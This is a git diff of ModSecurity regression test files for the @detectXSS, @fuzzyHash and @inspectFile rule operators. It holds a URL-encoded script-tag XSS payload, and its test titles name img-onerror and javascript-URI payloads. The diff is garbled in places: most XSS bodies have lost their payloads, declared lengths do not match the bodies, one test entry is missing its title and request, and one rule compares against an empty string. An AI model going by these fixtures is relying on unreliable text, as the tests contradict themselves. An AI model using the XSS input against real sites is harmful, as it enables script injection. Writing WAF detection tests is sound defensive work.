\"id:2211,phase:2,deny,status:403\"" ] } ] diff --git a/test/test-cases/regression/operator-detectxss.json b/test/test-cases/regression/operator-detectxss.json index e2590193b0..048f57ac17 100644 --- a/test/test-cases/regression/operator-detectxss.json +++ b/test/test-cases/regression/operator-detectxss.json @@ -1,46 +1,417 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing Operator :: @detectXSS", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length": "27", + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "title": "Testing Operator :: @detectXSS :: script tag payload", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "46", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ - "param1=¶m2=value2" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "expected": { + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule ARGS \"@detectXSS\" \"id:1101,phase:2,pass,t:trim,setvar:tx.xss_hit=1\"", + "SecRule TX:xss_hit \"@eq 1\" \"id:2101,phase:2,deny,status:403\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Added DetectXSS match TX.0: ¶m2=value2" + ] + }, + "expected": { + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule ARGS \"@detectXSS\" \"id:1102,phase:2,pass,t:trim,setvar:tx.xss_hit=1\"", + "SecRule TX:xss_hit \"@eq 1\" \"id:2102,phase:2,deny,status:403\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "title": "Testing Operator :: @detectXSS :: img onerror payload", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "49", + "Content-Type": "application/x-www-form-urlencoded" + }, + "uri": "/", + "method": "POST", + "body": [ + "param1=¶m2=value2" + ] + }, + "expected": { + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule ARGS \"@detectXSS\" \"id:1103,phase:2,pass,t:trim,setvar:tx.xss_hit=1\"", + "SecRule TX:xss_hit \"@eq 1\" \"id:2103,phase:2,deny,status:403\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "title": "Testing Operator :: @detectXSS :: encoded script payload with urlDecodeUni", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "63", + "Content-Type": "application/x-www-form-urlencoded" + }, + "uri": "/", + "method": "POST", + "body": [ + "param1=%20%20%3Cscript%3Ealert(1)%3C%2Fscript%3E%20%20¶m2=v" + ] + }, + "expected": { + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule ARGS \"@detectXSS\" \"id:1104,phase:2,pass,t:urlDecodeUni,t:trim,setvar:tx.xss_hit=1\"", + "SecRule TX:xss_hit \"@eq 1\" \"id:2104,phase:2,deny,status:403\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "title": "Testing Operator :: @detectXSS :: mixed-case javascript URI in href", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "54", + "Content-Type": "application/x-www-form-urlencoded" + }, + "uri": "/", + "method": "POST", + "body": [ + "param1=x¶m2=value2" + ] + }, + "expected": { + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule ARGS \"@detectXSS\" \"id:1105,phase:2,pass,t:trim,setvar:tx.xss_hit=1\"", + "SecRule TX:xss_hit \"@eq 1\" \"id:2105,phase:2,deny,status:403\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "title": "Testing Operator :: @detectXSS :: benign html should not match", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "33", + "Content-Type": "application/x-www-form-urlencoded" + }, + "uri": "/", + "method": "POST", + "body": [ + "param1=hello¶m2=value2" + ] + }, + "expected": { + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule ARGS \"@detectXSS\" \"id:1106,phase:2,pass,t:trim,setvar:tx.xss_hit=1\"", + "SecRule TX:xss_hit \"@eq 1\" \"id:2106,phase:2,deny,status:403\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "title": "Testing Operator :: @detectXSS :: benign plain text should not match", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "33", + "Content-Type": "application/x-www-form-urlencoded" + }, + "uri": "/", + "method": "POST", + "body": [ + "param1=welcome-to-modsecurity&x=1" + ] + }, + "expected": { + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule ARGS \"@detectXSS\" \"id:1107,phase:2,pass,t:trim,setvar:tx.xss_hit=1\"", + "SecRule TX:xss_hit \"@eq 1\" \"id:2107,phase:2,deny,status:403\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "title": "Testing Operator :: @detectXSS :: capture stores original input in TX.0", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "46", + "Content-Type": "application/x-www-form-urlencoded" + }, + "uri": "/", + "method": "POST", + "body": [ + "param1=¶m2=value2" + ] + }, + "expected": { + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule ARGS \"@detectXSS\" \"id:1108,phase:2,capture,pass,t:trim,setvar:tx.xss_hit=1\"", + "SecRule TX:0 \"@streq \" \"id:2108,phase:2,deny,status:403\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "title": "Testing Operator :: @detectXSS :: no capture keeps TX.0 unchanged", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "46", + "Content-Type": "application/x-www-form-urlencoded" + }, + "uri": "/", + "method": "POST", + "body": [ + "param1=¶m2=value2" + ] + }, + "expected": { + "http_code": 403 }, - "rules":[ + "rules": [ "SecRuleEngine On", - "SecRule ARGS \"@detectXSS\" \"id:1,phase:2,capture,pass,t:trim\"" + "SecRule ARGS \"@detectXSS\" \"id:1109,phase:2,pass,t:trim,setvar:tx.xss_hit=1\"", + "SecRule TX:0 \"@streq \" \"id:2109,phase:2,deny,status:409\"", + "SecRule TX:xss_hit \"@eq 1\" \"id:2110,phase:2,deny,status:403\"" ] } ] diff --git a/test/test-cases/regression/operator-fuzzyhash.json b/test/test-cases/regression/operator-fuzzyhash.json index 2250ebe2d4..e5c8728062 100644 --- a/test/test-cases/regression/operator-fuzzyhash.json +++ b/test/test-cases/regression/operator-fuzzyhash.json @@ -1,213 +1,217 @@ [ { - "enabled":1, - "version_min":300000, - "resource":"ssdeep", - "title":"Testing Operator :: @fuzzyHash (1/2)", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Operator :: @fuzzyHash (1/2)", + "resource": "ssdeep", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length": "27", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "2432", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ -"", -"# -- Rule engine initialization ----------------------------------------------", -"", -"# Enable ModSecurity, attaching it to every transaction. Use detection", -"# only to start with, because that minimises the chances of post-installation", -"# disruption.", -"#", -"SecRuleEngine DetectionOnly", -"", -"", -"# -- Request body handling ---------------------------------------------------", -"", -"# Allow ModSecurity to access request bodies. If you don't, ModSecurity", -"# won't be able to see any POST parameters, which opens a large security", -"# hole for attackers to exploit.", -"#", -"SecRequestBodyAccess On", -"", -"", -"# Enable XML request body parser.", -"# Initiate XML Processor in case of xml content-type", -"#", -"SecRule REQUEST_HEADERS:Content-Type \"text/xml\" \\", -" \"id:'200000',phase:1,t:none,t:lowercase,pass,nolog,ctl:requestBodyProcessor=XML\"", -"", -"# Enable JSON request body parser.", -"# Initiate JSON Processor in case of JSON content-type; change accordingly", -"# if your application does not use 'application/json'", -"#", -"SecRule REQUEST_HEADERS:Content-Type \"application/json\" \\", -" \"id:'200001',phase:1,t:none,t:lowercase,pass,nolog,ctl:requestBodyProcessor=JSON\"", -"", -"# Maximum request body size we will accept for buffering. If you support", -"# file uploads then the value given on the first line has to be as large", -"# as the largest file you are willing to accept. The second value refers", -"# to the size of data, with files excluded. You want to keep that value as", -"# low as practical.", -"#", -"SecRequestBodyLimit 13107200", -"SecRequestBodyNoFilesLimit 131072", -"", -"# Store up to 128 KB of request body data in memory. When the multipart", -"# parser reachers this limit, it will start using your hard disk for", -"# storage. That is slow, but unavoidable.", -"#", -"SecRequestBodyInMemoryLimit 131072", -"", -"# What do do if the request body size is above our configured limit.", -"# Keep in mind that this setting will automatically be set to ProcessPartial", -"# when SecRuleEngine is set to DetectionOnly mode in order to minimize", -"# disruptions when initially deploying ModSecurity.", -"#", -"SecRequestBodyLimitAction Reject", -"", -"# Verify that we've correctly processed the request body.", -"# As a rule of thumb, when failing to process a request body", -"# you should reject the request (when deployed in blocking mode)", -"# or log a high-severity alert (when deployed in detection-only mode).", -"#", -"SecRule REQBODY_ERROR \"!\\@eq 0\" ", -"\"id:'200002', phase:2,t:none,log,deny,status:400,msg:'Failed to parse request body.',logdata:'%{reqbody_error_msg}',severity:2\"", -" " -] + "\n", + "# -- Rule engine initialization ----------------------------------------------\n", + "\n", + "# Enable ModSecurity, attaching it to every transaction. Use detection\n", + "# only to start with, because that minimises the chances of post-installation\n", + "# disruption.\n", + "#\n", + "SecRuleEngine DetectionOnly\n", + "\n", + "\n", + "# -- Request body handling ---------------------------------------------------\n", + "\n", + "# Allow ModSecurity to access request bodies. If you don't, ModSecurity\n", + "# won't be able to see any POST parameters, which opens a large security\n", + "# hole for attackers to exploit.\n", + "#\n", + "SecRequestBodyAccess On\n", + "\n", + "\n", + "# Enable XML request body parser.\n", + "# Initiate XML Processor in case of xml content-type\n", + "#\n", + "SecRule REQUEST_HEADERS:Content-Type \"text/xml\" \\\n", + " \"id:'200000',phase:1,t:none,t:lowercase,pass,nolog,ctl:requestBodyProcessor=XML\"\n", + "\n", + "# Enable JSON request body parser.\n", + "# Initiate JSON Processor in case of JSON content-type; change accordingly\n", + "# if your application does not use 'application/json'\n", + "#\n", + "SecRule REQUEST_HEADERS:Content-Type \"application/json\" \\\n", + " \"id:'200001',phase:1,t:none,t:lowercase,pass,nolog,ctl:requestBodyProcessor=JSON\"\n", + "\n", + "# Maximum request body size we will accept for buffering. If you support\n", + "# file uploads then the value given on the first line has to be as large\n", + "# as the largest file you are willing to accept. The second value refers\n", + "# to the size of data, with files excluded. You want to keep that value as\n", + "# low as practical.\n", + "#\n", + "SecRequestBodyLimit 13107200\n", + "SecRequestBodyNoFilesLimit 131072\n", + "\n", + "# Store up to 128 KB of request body data in memory. When the multipart\n", + "# parser reachers this limit, it will start using your hard disk for\n", + "# storage. That is slow, but unavoidable.\n", + "#\n", + "SecRequestBodyInMemoryLimit 131072\n", + "\n", + "# What do do if the request body size is above our configured limit.\n", + "# Keep in mind that this setting will automatically be set to ProcessPartial\n", + "# when SecRuleEngine is set to DetectionOnly mode in order to minimize\n", + "# disruptions when initially deploying ModSecurity.\n", + "#\n", + "SecRequestBodyLimitAction Reject\n", + "\n", + "# Verify that we've correctly processed the request body.\n", + "# As a rule of thumb, when failing to process a request body\n", + "# you should reject the request (when deployed in blocking mode)\n", + "# or log a high-severity alert (when deployed in detection-only mode).\n", + "#\n", + "SecRule REQBODY_ERROR \"!\\@eq 0\" \n", + "\"id:'200002', phase:2,t:none,log,deny,status:400,msg:'Failed to parse request body.',logdata:'%{reqbody_error_msg}',severity:2\"\n", + " \n" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":" Fuzzy hash: matched with score: 54." + "expected": { + "debug_log": " Fuzzy hash: matched with score: 54.", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRequestBodyAccess On", "SecRule REQUEST_BODY \"@fuzzyHash test-cases/data/ssdeep.txt 1\" \"id:1,phase:2,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "resource":"ssdeep", - "title":"Testing Operator :: @fuzzyHash (2/2)", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Operator :: @fuzzyHash (2/2)", + "resource": "ssdeep", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length": "27", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "2370", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ -"", -"# -- Rule engine initialization ----------------------------------------------", -"", -"# Enable ModSecurity, attaching it to every transaction. Use detection", -"# only to start with, because that minimises the chances of post-installation", -"# disruption.", -"#", -"SecRuleEngine DetectionOnly", -"", -"", -"# -- Request body handling ---------------------------------------------------", -"", -"# Allow ModSecurity to access request bodies. If you don't, ModSecurity", -"# won't be able to see any POST parameters, which opens a large security", -"# hole for attackers to exploit.", -"#", -"SecRequestBodyAccess On", -"", -"", -"# Enable XML request body parser.", -"# Initiate XML Processor in case of xml content-type", -"#", -"SecRule REQUEST_HEADERS:Content-Type \"text/xml\" \\", -" \"id:'200000',phase:1,t:none,t:lowercase,pass,nolog,ctl:requestBodyProcessor=XML\"", -"", -"# Enable JSON request body parser.", -"# Initiate JSON Processor in case of JSON content-type; change accordingly", -"# if your application does not use 'application/json'", -"#", -"SecRule REQUEST_HEADERS:Content-Type \"application/json\" \\", -" \"id:'200001',phase:1,t:none,t:lowercase,pass,nolog,ctl:requestBodyProcessor=JSON\"", -"", -"# Maximum request body size we will accept for buffering. If you support", -"# file uploads then the value given on the first line has to be as large", -"# as the largest file you are willing to accept. The second value refers", -"# to the size of data, with files excluded. You want to keep that value as", -"# low as practical.", -"#", -"SecRequestBodyLimit 13107200", -"SecRequestBodyNoFilesLimit 131072", -"", -"# Store up to 128 KB of request body data in memory. When the multipart", -"# parser reachers this limit, it will start using your hard disk for", -"# storage. That is slow, but unavoidable.", -"#", -"SecRequestBodyInMemoryLimit 131072", -"", -"# What do do if the request body size is above our configured limit.", -"# Keep in mind that this setting will automatically be set to ProcessPartial", -"# when SecRuleEngine is set to DetectionOnly mode in order to minimize", -"# disruptions when initially deploying ModSecurity.", -"#", -"SecRequestBodyLimitAction Reject", -"", -"# Verify that we've correctly processed the request body.", -"# As a rule of thumb, when failing to process a request body", -"# you should reject the request (when deployed in blocking mode)", -"# or log a high-severity alert (when deployed in detection-only mode).", -"#", -"SecRule REQBODY_ERROR \"!\\@eq 0\" ", -"\"id:'200002', phase:2,t:none,log,deny,status:400,msg:'Failed to parse request body.',logdata:'%{reqbody_error_msg}',severity:2\"", -" " -] + "", + "# -- Rule engine initialization ----------------------------------------------", + "", + "# Enable ModSecurity, attaching it to every transaction. Use detection", + "# only to start with, because that minimises the chances of post-installation", + "# disruption.", + "#", + "SecRuleEngine DetectionOnly", + "", + "", + "# -- Request body handling ---------------------------------------------------", + "", + "# Allow ModSecurity to access request bodies. If you don't, ModSecurity", + "# won't be able to see any POST parameters, which opens a large security", + "# hole for attackers to exploit.", + "#", + "SecRequestBodyAccess On", + "", + "", + "# Enable XML request body parser.", + "# Initiate XML Processor in case of xml content-type", + "#", + "SecRule REQUEST_HEADERS:Content-Type \"text/xml\" \\", + " \"id:'200000',phase:1,t:none,t:lowercase,pass,nolog,ctl:requestBodyProcessor=XML\"", + "", + "# Enable JSON request body parser.", + "# Initiate JSON Processor in case of JSON content-type; change accordingly", + "# if your application does not use 'application/json'", + "#", + "SecRule REQUEST_HEADERS:Content-Type \"application/json\" \\", + " \"id:'200001',phase:1,t:none,t:lowercase,pass,nolog,ctl:requestBodyProcessor=JSON\"", + "", + "# Maximum request body size we will accept for buffering. If you support", + "# file uploads then the value given on the first line has to be as large", + "# as the largest file you are willing to accept. The second value refers", + "# to the size of data, with files excluded. You want to keep that value as", + "# low as practical.", + "#", + "SecRequestBodyLimit 13107200", + "SecRequestBodyNoFilesLimit 131072", + "", + "# Store up to 128 KB of request body data in memory. When the multipart", + "# parser reachers this limit, it will start using your hard disk for", + "# storage. That is slow, but unavoidable.", + "#", + "SecRequestBodyInMemoryLimit 131072", + "", + "# What do do if the request body size is above our configured limit.", + "# Keep in mind that this setting will automatically be set to ProcessPartial", + "# when SecRuleEngine is set to DetectionOnly mode in order to minimize", + "# disruptions when initially deploying ModSecurity.", + "#", + "SecRequestBodyLimitAction Reject", + "", + "# Verify that we've correctly processed the request body.", + "# As a rule of thumb, when failing to process a request body", + "# you should reject the request (when deployed in blocking mode)", + "# or log a high-severity alert (when deployed in detection-only mode).", + "#", + "SecRule REQBODY_ERROR \"!\\@eq 0\" ", + "\"id:'200002', phase:2,t:none,log,deny,status:400,msg:'Failed to parse request body.',logdata:'%{reqbody_error_msg}',severity:2\"", + " " + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Rule returned 0." + "expected": { + "debug_log": "Rule returned 0.", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRequestBodyAccess On", "SecRule REQUEST_BODY \"@fuzzyHash test-cases/data/ssdeep.txt 100\" \"id:1,phase:2,pass,t:trim\"" diff --git a/test/test-cases/regression/operator-inpectFile.json b/test/test-cases/regression/operator-inpectFile.json index 4252deae0c..e68635acda 100644 --- a/test/test-cases/regression/operator-inpectFile.json +++ b/test/test-cases/regression/operator-inpectFile.json @@ -1,391 +1,441 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing Operator :: @inspectFile (1/3)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length": "27", + "enabled": 1, + "version_min": 300000, + "title": "Testing Operator :: @inspectFile (1/3)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/whee?res=1", - "method":"GET", - "body": [ ] + "uri": "/whee?res=1", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{}, - "body":[ + "response": { + "headers": { + "Content-Length": "8" + }, + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Rule returned 0." + "expected": { + "debug_log": "Rule returned 0.", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS:res \"@inspectFile /bin/echo\" \"id:1,phase:2,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Operator :: @inspectFile (2/3)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length": "27", + "enabled": 1, + "version_min": 300000, + "title": "Testing Operator :: @inspectFile (2/3)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/whee?res=0", - "method":"GET", - "body": [ ] + "uri": "/whee?res=0", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{}, - "body":[ + "response": { + "headers": { + "Content-Length": "8" + }, + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Rule returned 1." + "expected": { + "debug_log": "Rule returned 1.", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS:res \"@inspectFile /bin/echo\" \"id:1,phase:2,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Operator :: @inspectFile (3/3)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length": "27", + "enabled": 1, + "version_min": 300000, + "title": "Testing Operator :: @inspectFile (3/3)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/whee?res=whee", - "method":"GET", - "body": [ ] + "uri": "/whee?res=whee", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{}, - "body":[ + "response": { + "headers": { + "Content-Length": "8" + }, + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Rule returned 1." + "expected": { + "debug_log": "Rule returned 1.", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS:res \"@inspectFile /bin/echo\" \"id:1,phase:2,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "resource":"lua", - "title":"Testing Operator :: @inspectFile - lua (1/7)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length": "27", + "enabled": 1, + "version_min": 300000, + "title": "Testing Operator :: @inspectFile - lua (1/7)", + "resource": "lua", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/whee?res=whee", - "method":"GET", - "body": [ ] + "uri": "/whee?res=whee", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{}, - "body":[ + "response": { + "headers": { + "Content-Length": "8" + }, + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Rule returned 1." + "expected": { + "debug_log": "Rule returned 1.", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS:res \"@inspectFile test-cases/data/match.lua\" \"id:1,phase:2,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "resource":"lua", - "title":"Testing Operator :: @inspectFile - lua (2/7)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length": "27", + "enabled": 1, + "version_min": 300000, + "title": "Testing Operator :: @inspectFile - lua (2/7)", + "resource": "lua", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/whee?res=whee", - "method":"GET", - "body": [ ] + "uri": "/whee?res=whee", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{}, - "body":[ + "response": { + "headers": { + "Content-Length": "8" + }, + "body": [ "no need." ] }, - "expected":{ - "debug_log":"echo 123" + "expected": { + "debug_log": "echo 123", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS:res \"@inspectFile test-cases/data/match-log.lua\" \"id:1,phase:2,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "resource":"lua", - "title":"Testing Operator :: @inspectFile - lua (3/7)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length": "27", + "enabled": 1, + "version_min": 300000, + "title": "Testing Operator :: @inspectFile - lua (3/7)", + "resource": "lua", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/whee?res=whee", - "method":"GET", - "body": [ ] + "uri": "/whee?res=whee", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{}, - "body":[ + "response": { + "headers": { + "Content-Length": "8" + }, + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"whee\" " + "expected": { + "debug_log": "Target value: \"whee\" ", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS:res \"@inspectFile test-cases/data/match-set.lua\" \"id:1,phase:2,pass,t:trim\"", 